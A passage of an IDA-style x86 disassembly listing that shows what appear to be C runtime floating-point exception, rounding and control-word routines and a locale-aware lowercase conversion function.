		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_42A095:				; CODE XREF: sub_429F79+113j
		test	al, 10h
		jz	short loc_42A09F
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_42A09F:				; CODE XREF: sub_429F79+11Ej
		test	al, 20h
		jz	short loc_42A0A9
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_42A0A9:				; CODE XREF: sub_429F79+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42A0E8
		cmp	eax, 400h
		jz	short loc_42A0DA
		cmp	eax, 800h
		jz	short loc_42A0CE
		cmp	eax, ecx
		jnz	short loc_42A0EE
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_42A0EE
; ---------------------------------------------------------------------------


loc_42A0CE:				; CODE XREF: sub_429F79+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_42A0E4
; ---------------------------------------------------------------------------


loc_42A0DA:				; CODE XREF: sub_429F79+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_42A0E4:				; CODE XREF: sub_429F79+15Fj
		mov	[eax], ecx
		jmp	short loc_42A0EE
; ---------------------------------------------------------------------------


loc_42A0E8:				; CODE XREF: sub_429F79+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_42A0EE:				; CODE XREF: sub_429F79+14Bj
					; sub_429F79+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42A119
		cmp	eax, 200h
		jz	short loc_42A10C
		cmp	eax, ecx
		jnz	short loc_42A126
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_42A126
; ---------------------------------------------------------------------------


loc_42A10C:				; CODE XREF: sub_429F79+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_42A124
; ---------------------------------------------------------------------------


loc_42A119:				; CODE XREF: sub_429F79+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_42A124:				; CODE XREF: sub_429F79+19Ej
		mov	[eax], ecx


loc_42A126:				; CODE XREF: sub_429F79+189j
					; sub_429F79+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42A6A9
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_42F1F8	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_42A1A0
		and	dword ptr [esi], 0FFFFFFFEh


loc_42A1A0:				; CODE XREF: sub_429F79+222j
		test	byte ptr [eax+8], 8
		jz	short loc_42A1A9
		and	dword ptr [esi], 0FFFFFFFBh


loc_42A1A9:				; CODE XREF: sub_429F79+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_42A1B2
		and	dword ptr [esi], 0FFFFFFF7h


loc_42A1B2:				; CODE XREF: sub_429F79+234j
		test	byte ptr [eax+8], 2
		jz	short loc_42A1BB
		and	dword ptr [esi], 0FFFFFFEFh


loc_42A1BB:				; CODE XREF: sub_429F79+23Dj
		test	[eax+8], bl
		jz	short loc_42A1C3
		and	dword ptr [esi], 0FFFFFFDFh


loc_42A1C3:				; CODE XREF: sub_429F79+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42A1F7
		dec	ecx
		jz	short loc_42A1EB
		dec	ecx
		jz	short loc_42A1E1
		dec	ecx
		jnz	short loc_42A1F9
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42A1F9
; ---------------------------------------------------------------------------


loc_42A1E1:				; CODE XREF: sub_429F79+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_42A1F3
; ---------------------------------------------------------------------------


loc_42A1EB:				; CODE XREF: sub_429F79+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_42A1F3:				; CODE XREF: sub_429F79+270j
		mov	[esi], ecx
		jmp	short loc_42A1F9
; ---------------------------------------------------------------------------


loc_42A1F7:				; CODE XREF: sub_429F79+257j
		and	[esi], edx


loc_42A1F9:				; CODE XREF: sub_429F79+260j
					; sub_429F79+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42A219
		dec	ecx
		jz	short loc_42A210
		dec	ecx
		jnz	short loc_42A222
		and	[esi], edx
		jmp	short loc_42A222
; ---------------------------------------------------------------------------


loc_42A210:				; CODE XREF: sub_429F79+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_42A220
; ---------------------------------------------------------------------------


loc_42A219:				; CODE XREF: sub_429F79+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_42A220:				; CODE XREF: sub_429F79+29Ej
		mov	[esi], ecx


loc_42A222:				; CODE XREF: sub_429F79+291j
					; sub_429F79+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_429F79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A22C	proc near		; CODE XREF: sub_429EE1+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42A257
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42A257
		push	ebx
		call	sub_42A6DB
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_42A421
; ---------------------------------------------------------------------------


loc_42A257:				; CODE XREF: sub_42A22C+15j
					; sub_42A22C+1Aj
		test	al, 4
		jz	short loc_42A271
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_42A271
		push	4
		call	sub_42A6DB
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_42A421
; ---------------------------------------------------------------------------


loc_42A271:				; CODE XREF: sub_42A22C+2Dj
					; sub_42A22C+33j
		test	al, bl
		jz	loc_42A34B
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42A34B
		push	8
		call	sub_42A6DB
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_42A323
		cmp	ecx, 400h
		jz	short loc_42A2FB
		cmp	ecx, 800h
		jz	short loc_42A2D3
		cmp	ecx, eax
		jnz	loc_42A343
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_42F570
		fld	dbl_44BD88
		fnstsw	ax
		sahf
		ja	short loc_42A2CB
		fchs


loc_42A2CB:				; CODE XREF: sub_42A22C+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_42A341
; ---------------------------------------------------------------------------


loc_42A2D3:				; CODE XREF: sub_42A22C+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_42F570
		fnstsw	ax
		sahf
		jbe	short loc_42A2EB
		fld	dbl_44BD78
		jmp	short loc_42A2F3
; ---------------------------------------------------------------------------


loc_42A2EB:				; CODE XREF: sub_42A22C+B5j
		fld	dbl_44BD88
		fchs


loc_42A2F3:				; CODE XREF: sub_42A22C+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_42A341
; ---------------------------------------------------------------------------


loc_42A2FB:				; CODE XREF: sub_42A22C+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_42F570
		fnstsw	ax
		sahf
		jbe	short loc_42A313
		fld	dbl_44BD88
		jmp	short loc_42A31B
; ---------------------------------------------------------------------------


loc_42A313:				; CODE XREF: sub_42A22C+DDj
		fld	dbl_44BD78
		fchs


loc_42A31B:				; CODE XREF: sub_42A22C+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_42A341
; ---------------------------------------------------------------------------


loc_42A323:				; CODE XREF: sub_42A22C+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_42F570
		fld	dbl_44BD78
		fnstsw	ax
		sahf
		ja	short loc_42A33B
		fchs


loc_42A33B:				; CODE XREF: sub_42A22C+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_42A341:				; CODE XREF: sub_42A22C+A5j
					; sub_42A22C+CDj ...
		fstp	qword ptr [ecx]


loc_42A343:				; CODE XREF: sub_42A22C+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_42A421
; ---------------------------------------------------------------------------


loc_42A34B:				; CODE XREF: sub_42A22C+47j
					; sub_42A22C+51j
		test	al, 2
		jz	loc_42A421
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_42A421
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_42A366
		mov	esi, ebx


loc_42A366:				; CODE XREF: sub_42A22C+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_42F570
		fnstsw	ax
		sahf
		jz	loc_42A40F
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42A5DA
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_42A3B1
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_42A405
; ---------------------------------------------------------------------------


loc_42A3B1:				; CODE XREF: sub_42A22C+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_42F570
		fnstsw	ax
		sahf
		jnb	short loc_42A3C3
		mov	edx, ebx
		jmp	short loc_42A3C5
; ---------------------------------------------------------------------------


loc_42A3C3:				; CODE XREF: sub_42A22C+191j
		xor	edx, edx


loc_42A3C5:				; CODE XREF: sub_42A22C+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42A3F9
		sub	eax, ecx


loc_42A3DC:				; CODE XREF: sub_42A22C+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42A3E7
		test	esi, esi
		jnz	short loc_42A3E7
		mov	esi, ebx


loc_42A3E7:				; CODE XREF: sub_42A22C+1B3j
					; sub_42A22C+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_42A3F3
		or	byte ptr [ebp+var_C+3],	80h


loc_42A3F3:				; CODE XREF: sub_42A22C+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42A3DC


loc_42A3F9:				; CODE XREF: sub_42A22C+1ACj
		test	edx, edx
		jz	short loc_42A405
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_42A405:				; CODE XREF: sub_42A22C+183j
					; sub_42A22C+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_42A411
; ---------------------------------------------------------------------------


loc_42A40F:				; CODE XREF: sub_42A22C+14Ej
		mov	esi, ebx


loc_42A411:				; CODE XREF: sub_42A22C+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_42A41E
		push	10h
		call	sub_42A6DB
		pop	ecx


loc_42A41E:				; CODE XREF: sub_42A22C+1E8j
		and	edi, 0FFFFFFFDh


loc_42A421:				; CODE XREF: sub_42A22C+26j
					; sub_42A22C+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42A438
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42A438
		push	20h
		call	sub_42A6DB
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42A438:				; CODE XREF: sub_42A22C+1F9j
					; sub_42A22C+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42A22C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42A443(int, int, int,	int, int, int, double, int)

sub_42A443	proc near		; CODE XREF: sub_429E8D+2Bp
					; sub_429EE1+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_42A4F3
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_42A4AE
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_42A6B8
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41A1C5
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42A4A8
		push	esi
		call	sub_42A4CB
		pop	ecx


loc_42A4A8:				; CODE XREF: sub_42A443+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_42A4AE:				; CODE XREF: sub_42A443+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_42A6B8
		push	[ebp+arg_0]
		call	sub_42A4CB
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_42A443	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A4CB	proc near		; CODE XREF: sub_429EE1+7Dp
					; sub_42A443+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_42A4E7
		jle	short locret_42A4F2
		cmp	eax, 3
		jg	short locret_42A4F2
		call	sub_426528
		mov	dword ptr [eax], 22h
		retn
; ---------------------------------------------------------------------------


loc_42A4E7:				; CODE XREF: sub_42A4CB+7j
		call	sub_426528
		mov	dword ptr [eax], 21h

locret_42A4F2:				; CODE XREF: sub_42A4CB+9j
					; sub_42A4CB+Ej
		retn
sub_42A4CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A4F3	proc near		; CODE XREF: sub_42A443+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_44BCA0


loc_42A4FA:				; CODE XREF: sub_42A4F3+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_42A510
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_44BD78
		jl	short loc_42A4FA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42A510:				; CODE XREF: sub_42A4F3+Dj
		mov	eax, off_44BCA4[ecx*8]
		retn
sub_42A4F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A518	proc near		; CODE XREF: sub_429EE1+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_42A524
		push	5
		jmp	short loc_42A53A
; ---------------------------------------------------------------------------


loc_42A524:				; CODE XREF: sub_42A518+6j
		test	al, 8
		jz	short loc_42A52C
		push	1
		jmp	short loc_42A53A
; ---------------------------------------------------------------------------


loc_42A52C:				; CODE XREF: sub_42A518+Ej
		test	al, 4
		jz	short loc_42A534
		push	2
		jmp	short loc_42A53A
; ---------------------------------------------------------------------------


loc_42A534:				; CODE XREF: sub_42A518+16j
		test	al, 1
		jz	short loc_42A53C
		push	3


loc_42A53A:				; CODE XREF: sub_42A518+Aj
					; sub_42A518+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42A53C:				; CODE XREF: sub_42A518+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_42A518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42A545(double)

sub_42A545	proc near		; CODE XREF: sub_4242B0:loc_424336p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_42A545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42A557(double, int)

sub_42A557	proc near		; CODE XREF: sub_42A5DA+82p
					; sub_42A5DA+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_42A557	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A580	proc near		; CODE XREF: sub_4242B0+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_42A597
		cmp	[ebp+arg_0], edx
		jnz	short loc_42A5A9
		push	1
		jmp	short loc_42A5D3
; ---------------------------------------------------------------------------


loc_42A597:				; CODE XREF: sub_42A580+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_42A5A9
		cmp	[ebp+arg_0], edx
		jnz	short loc_42A5A9
		push	2
		jmp	short loc_42A5D3
; ---------------------------------------------------------------------------


loc_42A5A9:				; CODE XREF: sub_42A580+11j
					; sub_42A580+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_42A5BC
		push	3
		jmp	short loc_42A5D3
; ---------------------------------------------------------------------------


loc_42A5BC:				; CODE XREF: sub_42A580+36j
		cmp	cx, 7FF0h
		jnz	short loc_42A5D6
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_42A5D1
		cmp	[ebp+arg_0], edx
		jz	short loc_42A5D6


loc_42A5D1:				; CODE XREF: sub_42A580+4Aj
		push	4


loc_42A5D3:				; CODE XREF: sub_42A580+15j
					; sub_42A580+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42A5D6:				; CODE XREF: sub_42A580+41j
					; sub_42A580+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_42A580	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42A5DA(double, int)

sub_42A5DA	proc near		; CODE XREF: sub_42A22C+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_42F570
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42A5FA
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_42A690
; ---------------------------------------------------------------------------


loc_42A5FA:				; CODE XREF: sub_42A5DA+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42A669
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_42A612
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42A669


loc_42A612:				; CODE XREF: sub_42A5DA+31j
		fld	[ebp+arg_0]
		fcomp	dbl_42F570
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42A62A
		push	1
		pop	eax
		jmp	short loc_42A62C
; ---------------------------------------------------------------------------


loc_42A62A:				; CODE XREF: sub_42A5DA+49j
		xor	eax, eax


loc_42A62C:				; CODE XREF: sub_42A5DA+4Ej
					; sub_42A5DA+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_42A645
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_42A63F
		or	dword ptr [ebp+arg_0+4], 1


loc_42A63F:				; CODE XREF: sub_42A5DA+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42A62C
; ---------------------------------------------------------------------------


loc_42A645:				; CODE XREF: sub_42A5DA+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_42A653
		or	byte ptr [ebp+arg_0+7],	80h


loc_42A653:				; CODE XREF: sub_42A5DA+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_42A557
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_42A690
; ---------------------------------------------------------------------------


loc_42A669:				; CODE XREF: sub_42A5DA+28j
					; sub_42A5DA+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_42A557
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_42A690:				; CODE XREF: sub_42A5DA+1Bj
					; sub_42A5DA+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42A5DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A69B	proc near		; CODE XREF: sub_429F79+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42A69B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A6A9	proc near		; CODE XREF: sub_429F79+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42A6A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A6B8	proc near		; CODE XREF: sub_4242B0+13p
					; sub_4242B0+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_42A6B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A6DB	proc near		; CODE XREF: sub_42A22C+1Dp
					; sub_42A22C+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_42A6F2
		fld	tbyte_44BDA0
		fistp	[ebp+arg_0]
		wait


loc_42A6F2:				; CODE XREF: sub_42A6DB+Bj
		test	cl, 8
		jz	short loc_42A707
		fstsw	ax
		fld	tbyte_44BDA0
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_42A707:				; CODE XREF: sub_42A6DB+1Aj
		test	cl, 10h
		jz	short loc_42A716
		fld	tbyte_44BDAC
		fstp	[ebp+var_8]
		wait


loc_42A716:				; CODE XREF: sub_42A6DB+2Fj
		test	cl, 4
		jz	short loc_42A724
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_42A724:				; CODE XREF: sub_42A6DB+3Ej
		test	cl, 20h
		jz	short locret_42A72F
		fldpi
		fstp	[ebp+var_8]
		wait

locret_42A72F:				; CODE XREF: sub_42A6DB+4Cj
		leave
		retn
sub_42A6DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A731	proc near		; CODE XREF: sub_428A62+9p

arg_0		= dword	ptr  4

		push	ebx
		xor	ebx, ebx
		cmp	dword_6314C8, ebx
		jnz	short loc_42A74F
		mov	eax, [esp+4+arg_0]
		cmp	eax, 41h
		jl	short loc_42A79E
		cmp	eax, 5Ah
		jg	short loc_42A79E
		add	eax, 20h
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42A74F:				; CODE XREF: sub_42A731+9j
		push	esi
		mov	esi, offset dword_63198C
		push	edi
		push	esi
		call	dword_42F200	; InterlockedIncrement
		cmp	dword_631988, ebx
		mov	edi, dword_42F1FC
		jz	short loc_42A779
		push	esi
		call	edi ; dword_42F1FC
		push	13h
		call	sub_428436
		pop	ecx
		push	1
		pop	ebx


loc_42A779:				; CODE XREF: sub_42A731+38j
		push	[esp+0Ch+arg_0]
		call	sub_42A7A0
		test	ebx, ebx
		pop	ecx
		mov	[esp+0Ch+arg_0], eax
		jz	short loc_42A795
		push	13h
		call	sub_428497
		pop	ecx
		jmp	short loc_42A798
; ---------------------------------------------------------------------------


loc_42A795:				; CODE XREF: sub_42A731+58j
		push	esi
		call	edi ; dword_42F1FC


loc_42A798:				; CODE XREF: sub_42A731+62j
		mov	eax, [esp+0Ch+arg_0]
		pop	edi
		pop	esi


loc_42A79E:				; CODE XREF: sub_42A731+12j
					; sub_42A731+17j
		pop	ebx
		retn
sub_42A731	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A7A0	proc near		; CODE XREF: sub_424380+94p
					; sub_424380+9Ep ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_6314C8, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_42A7CD
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_42A866
		cmp	eax, 5Ah
		jg	loc_42A866
		add	eax, 20h
		jmp	loc_42A866
; ---------------------------------------------------------------------------


loc_42A7CD:				; CODE XREF: sub_42A7A0+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_42A801
		cmp	dword_449A44, esi
		jle	short loc_42A7EF
		push	esi
		push	ebx
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_42A7F9
; ---------------------------------------------------------------------------


loc_42A7EF:				; CODE XREF: sub_42A7A0+42j
		mov	eax, off_449838
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_42A7F9:				; CODE XREF: sub_42A7A0+4Dj
		test	eax, eax
		jnz	short loc_42A801


loc_42A7FD:				; CODE XREF: sub_42A7A0+ADj
		mov	eax, ebx
		jmp	short loc_42A866
; ---------------------------------------------------------------------------


loc_42A801:				; CODE XREF: sub_42A7A0+3Aj
					; sub_42A7A0+5Bj
		mov	edx, off_449838
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_42A825
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_42A82E
; ---------------------------------------------------------------------------


loc_42A825:				; CODE XREF: sub_42A7A0+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_42A82E:				; CODE XREF: sub_42A7A0+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
